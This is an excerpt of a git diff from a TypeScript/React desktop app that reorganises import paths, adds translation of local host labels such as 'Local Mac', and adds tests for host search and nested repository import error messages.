+++ b/src/renderer/src/components/sidebar/SidebarTaskNavButton.tsx
@@ -9,7 +9,7 @@ import {
   ContextMenuTrigger
 } from '@/components/ui/context-menu'
 import { PER_REPO_FETCH_LIMIT } from '../../../../shared/work-items/work-item-pagination'
-import { getLocalPreflightContext, localPreflightContextKey } from '@/lib/local-preflight-context'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { cn } from '@/lib/class-names'
 import { useAppStore } from '@/store/index'
 import { useRepoMap } from '@/store/repos/use-repository-catalog'
@@ -21,6 +21,7 @@ import {
   restoreAvailableDefaultTaskProvider,
   resolveVisibleTaskProvider
 } from '../../../../shared/work-items/task-providers'
+import { localPreflightContextKey } from '../../runtime/hosts/preflight/local-preflight-context-key'
 
 function HideTaskSidebarMenu({ onHide }: { onHide: () => void }): React.JSX.Element {
   const t = useTranslate()
diff --git a/src/renderer/src/components/sidebar/execution-host-label.ts b/src/renderer/src/components/sidebar/execution-host-label.ts
new file mode 100644
index 00000000000..e8c3af1b505
--- /dev/null
+++ b/src/renderer/src/components/sidebar/execution-host-label.ts
@@ -0,0 +1,63 @@
+import {
+  ALL_EXECUTION_HOSTS_SCOPE,
+  LOCAL_EXECUTION_HOST_ID,
+  getExecutionHostLabel,
+  getLocalExecutionHostLabel,
+  type ExecutionHostScope
+} from '../../../../shared/execution-host'
+import { translate } from '@/i18n/i18n'
+import type { Translate } from '@/i18n/use-translate'
+
+export function translateLocalExecutionHostLabel(
+  label: string = getLocalExecutionHostLabel(),
+  t: Translate = translate
+): string {
+  if (label === 'Local Windows') {
+    return t('auto.components.sidebar.hostSection.localWindows', 'Local Windows')
+  }
+  if (label === 'Local Mac') {
+    return t('auto.components.sidebar.hostSection.localMac', 'Local Mac')
+  }
+  if (label === 'Local Linux') {
+    return t('auto.components.sidebar.hostSection.localLinux', 'Local Linux')
+  }
+  if (label === 'This computer') {
+    return t('auto.components.sidebar.hostSection.thisComputer', 'This computer')
+  }
+  return label
+}
+
+/** Map shared English host labels (Local *, All hosts) at display time. */
+export function translateExecutionHostLabel(label: string, t: Translate = translate): string {
+  if (label === 'All hosts') {
+    return t('auto.components.sidebar.sidebarHostOptions.3e102f111c', 'All hosts')
+  }
+  return translateLocalExecutionHostLabel(label, t)
+}
+
+export function translateHostDisplayLabel(
+  host: { label: string; isDefaultLocalLabel?: boolean },
+  t: Translate = translate
+): string {
+  return host.isDefaultLocalLabel ? translateExecutionHostLabel(host.label, t) : host.label
+}
+
+export function translateExecutionHostDetail(detail: string): string {
+  if (detail === 'Host') {
+    return translate('auto.components.sidebar.hostSection.host', 'Host')
+  }
+  if (detail === 'This computer') {
+    return translate('auto.components.sidebar.hostSection.thisComputer', 'This computer')
+  }
+  return detail
+}
+
+export function getTranslatedExecutionHostLabel(
+  id: ExecutionHostScope | null | undefined,
+  t: Translate = translate
+): string {
+  const label = getExecutionHostLabel(id)
+  return id === LOCAL_EXECUTION_HOST_ID || id === ALL_EXECUTION_HOSTS_SCOPE
+    ? translateExecutionHostLabel(label, t)
+    : label
+}
diff --git a/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostDialog.tsx b/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostDialog.tsx
index 4213e182a3a..d8f12ad1b80 100644
--- a/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostDialog.tsx
+++ b/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostDialog.tsx
@@ -9,12 +9,12 @@ import { parseHostAccessLink } from '../../../../../../shared/remote-runtime/pai
 import {
   translateHostAccessLinkError,
   translateRemotePairingFailureDescription
-} from '@/lib/remote-pairing-copy'
+} from '@/lib/remote-pairing/remote-pairing-copy'
 import { AddRemoteHostSshConfigPicker } from './AddRemoteHostSshConfigPicker'
 import { AddRemoteHostSshFormPanel } from './AddRemoteHostSshFormPanel'
 import { AddRemoteHostServerFormPanel } from './AddRemoteHostServerFormPanel'
 import { AddWslHostDialogBody } from '../wsl/AddWslHostDialogBody'
-import { remoteServerPairingFailureMessage } from '@/lib/remote-server-pairing-error-copy'
+import { remoteServerPairingFailureMessage } from '@/lib/remote-pairing/remote-server-pairing-error-copy'
 import {
   addAllSshConfigHostsToOrca,
   loadSshConfigHostsForPicker,
diff --git a/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostFields.tsx b/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostFields.tsx
index ef4ed4d5ca2..322911a3db0 100644
--- a/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostFields.tsx
+++ b/src/renderer/src/components/sidebar/host-admission/ssh/AddRemoteHostFields.tsx
@@ -7,7 +7,7 @@ import { useTranslate } from '@/i18n/use-translate'
 import {
   translateHostAccessLinkError,
   translateRemotePairingEndpointKind
-} from '@/lib/remote-pairing-copy'
+} from '@/lib/remote-pairing/remote-pairing-copy'
 import type { ParseHostAccessLinkResult } from '../../../../../../shared/remote-runtime/pairing/remote-pairing-address'
 import {
   applyParsedSshHostInput,
diff --git a/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts b/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts
index d97b3490100..ccbd16871f7 100644
--- a/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts
+++ b/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts
@@ -6,7 +6,7 @@ import {
   buildAddRepoExistingWorkspacesTelemetry,
   shouldTrackAddRepoExistingWorkspacesDetected
 } from '../dialog/add-repo-existing-workspaces-telemetry'
-import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order'
 import { finishProjectAddWithDefaultCheckout } from './project-added-default-checkout'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx b/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx
index 72ee4cc3485..042115f2b71 100644
--- a/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx
+++ b/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx
@@ -11,6 +11,7 @@ import {
 } from '../host-selection/add-repo-server-ssh-targets'
 import { translate } from '@/i18n/i18n'
 import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
+import { formatSshUserFacingError } from '@/components/settings/ssh/targets/ssh-user-facing-error'
 import { upsertAddedRepoWithProjectHostSetup } from '../completion/add-repo-store-upsert'
 import { worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
@@ -106,7 +107,7 @@ export function useRemoteRepo(
       } catch (err) {
         toast.error(
           err instanceof Error
-            ? err.message
+            ? formatSshUserFacingError(err.message)
             : translate('auto.components.sidebar.AddRepoSteps.3e64e8a70d', 'Connection failed')
         )
       }
diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-existing-workspaces-telemetry.ts b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-existing-workspaces-telemetry.ts
index c377def3f3e..682fb5f4f62 100644
--- a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-existing-workspaces-telemetry.ts
+++ b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-existing-workspaces-telemetry.ts
@@ -1,7 +1,7 @@
 import type { AddRepoExistingWorkspaceSource } from '../../../../../../shared/telemetry-events'
 import type { EventProps } from '../../../../../../shared/telemetry-event-classification'
 import type { Worktree } from '../../../../../../shared/worktree/types'
-import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order'
 
 type ExistingWorkspacesDetectedProps = EventProps<'add_repo_existing_workspaces_detected'>
 
diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.large-config.test.tsx b/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.large-config.test.tsx
index f054086afa6..9a4a6d9b92d 100644
--- a/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.large-config.test.tsx
+++ b/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.large-config.test.tsx
@@ -2,12 +2,19 @@
 import { cleanup, fireEvent, render, screen } from '@testing-library/react'
 import { afterEach, describe, expect, it, vi } from 'vitest'
 
-import type { SidebarHostOption } from '../../worktree-list/controls/sidebar-host-options'
+import {
+  buildSidebarHostOptions,
+  type SidebarHostOption
+} from '../../worktree-list/controls/sidebar-host-options'
 
 import { AddRepoHostSelector } from './AddRepoHostSelector'
+import { TranslationScopeContext, type Translate } from '@/i18n/use-translate'
 
 // Why 13,692: the host count from the generated ~/.ssh/config in the renderer crash this guards.
 const HOST_COUNT = 13_692
+const t: Translate = (key, fallback) =>
+  key === 'auto.components.sidebar.hostSection.localMac' ? 'translated-host' : fallback
+const scope = { t, intlLocale: 'en' }
 
 const names = Array.from({ length: HOST_COUNT }, (_, i) => `node-${String(i).padStart(5, '0')}`)
 const lastName = names[HOST_COUNT - 1]!
@@ -44,4 +51,80 @@ describe('host lists with a 13,692-host ssh config', () => {
     fireEvent.keyDown(search, { key: 'Enter' })
     expect(onSelectHost).toHaveBeenCalledWith(`runtime:server-${HOST_COUNT - 1}`)
   })
+  it('finds a host by its displayed translated label as well as its raw label', () => {
+    const hosts: SidebarHostOption[] = Array.from({ length: 51 }, (_, i) => ({
+      id: i === 50 ? 'local' : `runtime:server-${i}`,
+      label: i === 50 ? 'Local Mac' : `node-${i}`,
+      isDefaultLocalLabel: i === 50,
+      detail: '',
+      kind: i === 50 ? 'local' : 'runtime',
+      health: i === 50 ? 'local' : 'available',
+      presence: i === 50 ? 'local' : 'configured'
+    }))
+    const onSelectHost = vi.fn()
+    render(
+      <TranslationScopeContext.Provider value={scope}>
+        <AddRepoHostSelector
+          hosts={hosts}
+          selectedHostId={hosts[0]!.id}
+          open
+          onOpenChange={vi.fn()}
+          onSelectHost={onSelectHost}
+        />
+      </TranslationScopeContext.Provider>
+    )
+    const search = screen.getByRole('combobox', { name: 'Search hosts…' })
+    fireEvent.change(search, { target: { value: 'translated-host' } })
+    expect(screen.getByText('translated-host')).toBeTruthy()
+    fireEvent.keyDown(search, { key: 'Enter' })
+    expect(onSelectHost).toHaveBeenCalledWith('local')
+    onSelectHost.mockClear()
+    fireEvent.change(search, { target: { value: 'Local Mac' } })
+    fireEvent.keyDown(search, { key: 'Enter' })
+    expect(onSelectHost).toHaveBeenCalledWith('local')
+  })
+  it('preserves a configured host name that matches a generated label', () => {
+    const hosts: SidebarHostOption[] = [
+      {
+        id: 'local',
+        label: 'Local Mac',
+        isDefaultLocalLabel: true,
+        detail: '',
+        kind: 'local',
+        health: 'local',
+        presence: 'local'
+      },
+      {
+        id: 'runtime:custom',
+        label: 'Local Mac',
+        detail: '',
+        kind: 'runtime',
+        health: 'available',
+        presence: 'configured'
+      }
+    ]
+    render(
+      <TranslationScopeContext.Provider value={scope}>
+        <AddRepoHostSelector
+          hosts={hosts}
+          selectedHostId="runtime:custom"
+          open
+          onOpenChange={vi.fn()}
+          onSelectHost={vi.fn()}
+        />
+      </TranslationScopeContext.Provider>
+    )
+    expect(screen.getAllByText('Local Mac').length).toBeGreaterThan(0)
+    expect(screen.getByText('translated-host')).toBeTruthy()
+  })
+
+  it('treats a local display-label override as a configured name', () => {
+    const hosts = buildSidebarHostOptions({
+      repos: [],
+      sshTargetLabels: new Map(),
+      settings: null,
+      hostLabelOverrides: new Map([['local', 'Local Mac']])
+    })
+    expect(hosts.find((host) => host.id === 'local')?.isDefaultLocalLabel).toBe(false)
+  })
 })
diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx b/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx
index 76240799da7..d80c01c57c1 100644
--- a/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx
+++ b/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx
@@ -1,4 +1,4 @@
-import { useState } from 'react'
+import { useMemo, useState } from 'react'
 import { Check, ChevronRight, ChevronsUpDown, Loader2, Plus } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { Command, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
@@ -7,14 +7,17 @@ import { HostListOverflowNote } from '../../../host-picker/HostListOverflowNote'
 import { searchHostsLabel } from '../../../host-picker/host-picker-copy'
 import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
 import { cn } from '@/lib/class-names'
-import type { SidebarHostOption } from '../../worktree-list/controls/sidebar-host-options'
+
 import {
+  type SidebarHostOption,
   getSidebarHostHealthLabel,
+  sidebarHostDisplayLabel,
   shouldShowHostScopeControls
 } from '../../worktree-list/controls/sidebar-host-options'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import { translateExecutionHostDetail } from '../../execution-host-label'
 
-import { describeRuntimeCompatBlock } from '@/lib/runtime-host-copy'
+import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
 import { canConnectAddRepoHost, canSelectAddRepoHost } from './add-repo-host-availability'
 
@@ -38,12 +41,12 @@ type AddRepoHostSelectorProps = {
 function getHostStatusDetail(host: SidebarHostOption, t?: Translate): string {
   // A disabled WSL feature is not a disconnected-host failure.
   if (host.wslUnavailable) {
-    return host.detail
+    return translateExecutionHostDetail(host.detail)
   }
   if (host.compatibility?.kind === 'blocked') {
     return describeRuntimeCompatBlock(host.compatibility, t)
   }
-  const detail = host.failureReason ?? host.detail
+  const detail = host.failureReason ?? translateExecutionHostDetail(host.detail)
   return `${getSidebarHostHealthLabel(host.health, host.blockedReason, t, host.vmState)}${detail ? ` - ${detail}` : ''}`
 }
 
@@ -62,7 +65,11 @@ export function AddRepoHostSelector({
 }: AddRepoHostSelectorProps): React.JSX.Element | null {
   const t = useTranslate()
   const [addHostOpen, setAddHostOpen] = useState(false)
-  const rows = useBoundedHostRows(hosts, new Set(selectedHostId ? [selectedHostId] : []))
+  const searchableHosts = useMemo(
+    () => hosts.map((host) => ({ ...host, searchText: sidebarHostDisplayLabel(host, t) })),
+    [hosts, t]
+  )
+  const rows = useBoundedHostRows(searchableHosts, new Set(selectedHostId ? [selectedHostId] : []))
   const showHostSetupActions = Boolean(onAddSshHost || onAddRemoteServer || onAddWslHost)
   if (!shouldShowHostScopeControls(hosts) && !showHostSetupActions) {
     return null
@@ -86,7 +93,7 @@ export function AddRepoHostSelector({
             aria-expanded={open}
             className="h-7 min-w-0 max-w-[18rem] gap-1.5 rounded-md border border-border bg-muted/30 px-2 text-xs font-medium text-foreground hover:bg-accent hover:text-accent-foreground"
           >
-            <span className="min-w-0 truncate">{selectedHost.label}</span>
+            <span className="min-w-0 truncate">{sidebarHostDisplayLabel(selectedHost, t)}</span>
             {selectedHost.health !== 'local' ? (
               <span
                 title={getHostStatusDetail(selectedHost, t)}
@@ -243,7 +250,7 @@ export function AddRepoHostSelector({
                 return (
                   <CommandItem
                     key={host.id}
-                    value={`${host.label} ${host.detail}`}
+                    value={`${sidebarHostDisplayLabel(host, t)} ${host.detail}`}
                     disabled={disabled && !canConnect}
                     aria-disabled={disabled}
                     onSelect={() => {
@@ -266,7 +273,9 @@ export function AddRepoHostSelector({
                     />
                     <span className="min-w-0 flex-1">
                       <span className="flex min-w-0 items-center gap-2">
-                        <span className="truncate font-medium">{host.label}</span>
+                        <span className="truncate font-medium">
+                          {sidebarHostDisplayLabel(host, t)}
+                        </span>
                       </span>
                       <span className="mt-0.5 block truncate text-[11px] text-muted-foreground">
                         <span className="min-w-0 flex-1 truncate" title={host.failureReason}>
diff --git a/src/renderer/src/components/sidebar/project-admission/nested-import/nested-import-failure-description.ts b/src/renderer/src/components/sidebar/project-admission/nested-import/nested-import-failure-description.ts
new file mode 100644
index 00000000000..816d9f77d5e
--- /dev/null
+++ b/src/renderer/src/components/sidebar/project-admission/nested-import/nested-import-failure-description.ts
@@ -0,0 +1,22 @@
+import { translate } from '@/i18n/i18n'
+import type { ProjectGroupImportProjectResult } from '../../../../../../shared/project-group-types'
+
+export function nestedImportFailureDescription(
+  failure: ProjectGroupImportProjectResult | undefined
+): string | undefined {
+  if (!failure?.errorCode) {
+    return failure?.error
+  }
+  switch (failure.errorCode) {
+    case 'not_in_scan':
+      return translate(
+        'nestedImport.error.notInScan',
+        'Repository was not found in the nested repository scan result'
+      )
+    case 'not_git_repository':
+      return translate('nestedImport.error.notGitRepository', 'Not a valid Git repository')
+    case 'import_failed':
+      return translate('nestedImport.error.importFailed', 'Repository could not be imported')
+  }
+  return failure.error
+}
diff --git a/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedImportFlow.ts b/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedImportFlow.ts
index ee3a360e734..c5d1e8ade27 100644
--- a/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedImportFlow.ts
+++ b/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedImportFlow.ts
@@ -18,6 +18,7 @@ import type { WorktreeFetchOptions } from '@/store/slices/worktrees/listing/work
 import { translate } from '@/i18n/i18n'
 import { worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner'
 import { completeNestedFolderOpen } from './complete-nested-folder-open'
+import { nestedImportFailureDescription } from './nested-import-failure-description'
 import { defaultProjectGroupNameForPath } from '../dialog/add-repo-dialog-types'
 import type { CompleteGitRepoAdd } from '../completion/use-complete-git-repo-add'
 
@@ -160,7 +161,7 @@ export function useAddRepoNestedImportFlow({
           .filter((projectId): projectId is string => typeof projectId === 'string')
         const firstRepoId = importedRepoIds[0]
         if (!firstRepoId) {
-          const firstFailure = result.projects.find((entry) => entry.status === 'failed')?.error
+          const firstFailure = result.projects.find((entry) => entry.status === 'failed')
           if (gen === nestedImportGenRef.current) {
             toast.error(
               translate(
@@ -168,7 +169,7 @@ export function useAddRepoNestedImportFlow({
                 'No repositories imported'
               ),
               {
-                description: firstFailure ?? undefined
+                description: nestedImportFailureDescription(firstFailure)
               }
             )
           }
diff --git a/src/renderer/src/components/sidebar/project-move-pause-follower.test.ts b/src/renderer/src/components/sidebar/project-move-pause-follower.test.ts
index 8a5776cdf3a..08e516ad2fc 100644
--- a/src/renderer/src/components/sidebar/project-move-pause-follower.test.ts
+++ b/src/renderer/src/components/sidebar/project-move-pause-follower.test.ts
@@ -1,4 +1,5 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { createProjectMovePauseFollower } from './project-move-pause-follower'
 import type { AppState } from '@/store/types'
 import type { ProjectMovePauseResponse } from '../../../../shared/project-move-pause'
 
@@ -21,10 +22,10 @@ const mocks = vi.hoisted(() => {
     payload: vi.fn(() => ({}))
   }
 })
-vi.mock('@/store', () => ({
+vi.mock('@/store/index', () => ({
   useAppStore: { getState: () => mocks.state, subscribe: () => () => {} }
 }))
-vi.mock('@/lib/worktree-sleep-intent', () => ({
+vi.mock('@/lib/workspace/sleep/worktree-sleep-intent', () => ({
   clearWorktreeSleepIntent: vi.fn(),
   markWorktreeSleepIntent: vi.fn(),
   withWorktreeSleepTeardown: (_id: string, action: () => Promise<void>) => action()
@@ -36,7 +37,6 @@ vi.mock('@/lib/workspace/persistence/workspace-session-host-persistence', () =>
   persistWorkspaceSessionByHost: mocks.persist
 }))
 vi.mock('sonner', () => ({ toast: { error: vi.fn(), warning: vi.fn() } }))
-import { createProjectMovePauseFollower } from './project-move-pause-follower'
 
 function fixture() {
   const responses: ProjectMovePauseResponse[] = []
diff --git a/src/renderer/src/lib/desktop-sidebar-feed.ts b/src/renderer/src/components/sidebar/sidebar-feed/desktop-sidebar-feed.ts
similarity index 90%
rename from src/renderer/src/lib/desktop-sidebar-feed.ts
rename to src/renderer/src/components/sidebar/sidebar-feed/desktop-sidebar-feed.ts
index abc2d187c3b..b1ddb1c737b 100644
--- a/src/renderer/src/lib/desktop-sidebar-feed.ts
+++ b/src/renderer/src/components/sidebar/sidebar-feed/desktop-sidebar-feed.ts
@@ -1,11 +1,11 @@
 import { useEffect, useSyncExternalStore } from 'react'
-import { SidebarInputsReadResultSchema } from '../../../shared/sidebar-list/sidebar-inputs-feed-contract'
-import type { SidebarFeedDomains } from '../../../shared/sidebar-list/sidebar-feed-domains'
+import { SidebarInputsReadResultSchema } from '../../../../../shared/sidebar-list/sidebar-inputs-feed-contract'
+import type { SidebarFeedDomains } from '../../../../../shared/sidebar-list/sidebar-feed-domains'
 import {
   SidebarFeedReader,
   type SidebarFeedReaderRead,
   type SidebarFeedTransport
-} from '../../../shared/sidebar-feed-client/sidebar-feed-reader'
+} from '../../../../../shared/sidebar-feed-client/sidebar-feed-reader'
 
 export type DesktopSidebarFeed = {
   domains: SidebarFeedDomains
diff --git a/src/renderer/src/lib/sidebar-ended-creations.ts b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-ended-creations.ts
similarity index 100%
rename from src/renderer/src/lib/sidebar-ended-creations.ts
rename to src/renderer/src/components/sidebar/sidebar-feed/sidebar-ended-creations.ts
diff --git a/src/renderer/src/lib/sidebar-list-session.ts b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-list-session.ts
similarity index 59%
rename from src/renderer/src/lib/sidebar-list-session.ts
rename to src/renderer/src/components/sidebar/sidebar-feed/sidebar-list-session.ts
index 31b358c38b0..433484e7a29 100644
--- a/src/renderer/src/lib/sidebar-list-session.ts
+++ b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-list-session.ts
@@ -1,7 +1,7 @@
 import { useEffect } from 'react'
-import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../shared/sidebar-inputs-switch'
-import { isPairedWebClientWindow } from './desktop-window-chrome'
-import { createNonSecureContextUuid as createBrowserUuid } from '../../../shared/non-secure-context-uuid'
+import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../shared/sidebar-inputs-switch'
+import { isPairedWebClientWindow } from '../../../app-shell/chrome/desktop-window-chrome'
+import { createNonSecureContextUuid } from '../../../../../shared/non-secure-context-uuid'
 
 /** List mount resets this main runtime’s sleeping retention; paired clients own independent lists and must never reset the host’s. */
 export function useSidebarListSession(): void {
@@ -10,7 +10,7 @@ export function useSidebarListSession(): void {
       return
     }
     void window.api.runtime
-      .call({ method: 'sidebarSession.begin', params: { sessionId: createBrowserUuid() } })
+      .call({ method: 'sidebarSession.begin', params: { sessionId: createNonSecureContextUuid() } })
       .catch(() => {})
   }, [])
 }
diff --git a/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.test.ts b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.test.ts
new file mode 100644
index 00000000000..a778e9061cf
--- /dev/null
+++ b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.test.ts
@@ -0,0 +1,105 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { SidebarFeedDomains } from '../../../../../shared/sidebar-list/sidebar-feed-domains'
+import '../../../../../shared/sidebar-list/workspace-rows'
+import type { WorkspaceRow } from '../../../../../shared/sidebar-list/workspace-rows'
+import type { PairedServerWorkspaceRow } from '../../../../../shared/sidebar-list/paired-server-rows'
+import { parseExecutionHostId } from '../../../../../shared/execution-host'
+import { composeWorktreeHostIdentity } from '../../../../../shared/worktree/host-qualified-identity'
+import {
+  makeFolderWorkspace,
+  makeRepo,
+  makeWorktree
+} from '@/components/worktree-jump/worktree-jump-palette-test-fixtures'
+import type { DesktopSidebarFeed } from './desktop-sidebar-feed'
+
+vi.mock('../../../../../shared/sidebar-inputs-switch', () => ({
+  ORCA_SIDEBAR_INPUTS_IS_MAIN: true
+}))
+const feed = vi.hoisted(() => ({
+  lastReadId: 0,
+  installListeners: new Set<(installed: DesktopSidebarFeed) => void>()
+}))
+vi.mock('./desktop-sidebar-feed', () => ({
+  refreshDesktopSidebarFeed: () => ++feed.lastReadId,
+  onDesktopSidebarFeedInstalled: (listener: (installed: DesktopSidebarFeed) => void) => {
+    feed.installListeners.add(listener)
+    return () => feed.installListeners.delete(listener)
+  }
+}))
+
+const repo = makeRepo()
+makeWorktree('repo-1::/w/a', 'a', { hostId: 'local', manualOrder: 1 })
+const CATALOG = { repos: [repo], lineageById: {} }
+
+function domains(
+  rows: WorkspaceRow[],
+  serverRows: PairedServerWorkspaceRow[] = []
+): SidebarFeedDomains {
+  return {
+    workspaces: new Map(
+      rows.map((row) => [
+        composeWorktreeHostIdentity(parseExecutionHostId(row.hostId)?.id, row.id),
+        row
+      ])
+    ),
+    activity: new Map(),
+    review: new Map(),
+    creations: new Map(),
+    pairedServerHosts: new Map(),
+    pairedServerRows: new Map(serverRows.map((row) => [row.key, row])),
+    repoIcons: new Map(),
+    desktop: null,
+    projectCatalog: null,
+    retention: null
+  }
+}
+
+function install(installed: SidebarFeedDomains, readId = feed.lastReadId): void {
+  feed.installListeners.forEach((listener) => listener({ domains: installed, readId }))
+}
+
+async function load() {
+  vi.resetModules()
+  return import('./sidebar-pending-layer')
+}
+
+describe('sidebar pending layer', () => {
+  beforeEach(() => {
+    feed.lastReadId = 0
+    feed.installListeners.clear()
+  })
+  afterEach(() => {
+    vi.useRealTimers()
+  })
+
+  it('lists a workspace created on a paired server until main lists the server’s row', async () => {
+    const layer = await load()
+    const worktree = makeWorktree('api::/w/new', 'new', { hostId: 'runtime:env-1' })
+    const folder = makeFolderWorkspace({ executionHostId: 'runtime:env-1', name: 'Notes' })
+    layer.holdCreatedSidebarWorkspace({ worktree })
+    layer.holdCreatedSidebarWorkspace({ folderWorkspace: folder })
+    const keys = (main: SidebarFeedDomains) => [
+      ...layer
+        .overlaySidebarPendingLayer(main, layer.readSidebarPendingLayer(), CATALOG)
+        .pairedServerRows.keys()
+    ]
+    // Main answered the create, but the server's list has not reached it yet.
+    install(domains([]))
+    expect(keys(domains([]))).toEqual([
+      'runtime:env-1|api::/w/new',
+      'runtime:env-1|folder:folder-1'
+    ])
+    expect(
+      layer
+        .overlaySidebarPendingLayer(domains([]), layer.readSidebarPendingLayer(), CATALOG)
+        .pairedServerRows.get('runtime:env-1|folder:folder-1')
+    ).toMatchObject({ kind: 'folder', displayName: 'Notes' })
+    const listed = layer.overlaySidebarPendingLayer(
+      domains([]),
+      layer.readSidebarPendingLayer(),
+      CATALOG
+    ).pairedServerRows
+    install(domains([], [...listed.values()]))
+    expect(layer.readSidebarPendingLayer().created).toEqual([])
+  })
+})
diff --git a/src/renderer/src/lib/sidebar-pending-layer.ts b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts
similarity index 91%
rename from src/renderer/src/lib/sidebar-pending-layer.ts
rename to src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts
index 7eaa0fc0f18..d46aa55e13c 100644
--- a/src/renderer/src/lib/sidebar-pending-layer.ts
+++ b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts
@@ -1,19 +1,22 @@
-import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../shared/sidebar-inputs-switch'
-import { parseExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host'
-import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types'
-import { folderWorkspaceKey } from '../../../shared/workspace-scope'
-import { getFolderWorkspaceWorktreeHostId } from '../../../shared/folder-workspaces/folder-workspace-worktree'
-import type { Repo } from '../../../shared/repo-types'
-import type { SidebarFeedDomains } from '../../../shared/sidebar-list/sidebar-feed-domains'
+import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../shared/sidebar-inputs-switch'
+import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host'
+import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types'
+import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
+import { getFolderWorkspaceWorktreeHostId } from '../../../../../shared/folder-workspaces/folder-workspace-worktree'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { SidebarFeedDomains } from '../../../../../shared/sidebar-list/sidebar-feed-domains'
 import {
   buildPairedServerRows,
   type PairedServerWorkspaceRow
-} from '../../../shared/sidebar-list/paired-server-rows'
-import { buildWorkspaceRows, type WorkspaceRow } from '../../../shared/sidebar-list/workspace-rows'
-import type { WorktreeLineage } from '../../../shared/worktree/lineage-types'
-import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
-import type { Worktree } from '../../../shared/worktree/types'
-import { getExecutionHostIdFromWorktreeHostIdentity } from '../../../shared/worktree/host-qualified-identity'
+} from '../../../../../shared/sidebar-list/paired-server-rows'
+import {
+  buildWorkspaceRows,
+  type WorkspaceRow
+} from '../../../../../shared/sidebar-list/workspace-rows'
+import type { WorktreeLineage } from '../../../../../shared/worktree/lineage-types'
+import type { WorktreeMeta } from '../../../../../shared/worktree/meta-types'
+import type { Worktree } from '../../../../../shared/worktree/types'
+import { getExecutionHostIdFromWorktreeHostIdentity } from '../../../../../shared/worktree/host-qualified-identity'
 import {
   onDesktopSidebarFeedInstalled,
   refreshDesktopSidebarFeed,
diff --git a/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuDeleteItems.tsx b/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuDeleteItems.tsx
index 0ac834fc6c4..be706601875 100644
--- a/src/renderer/src/components/sidebar/workspace-actions/context-menu/WorktreeContextMenuDeleteItems.tsx
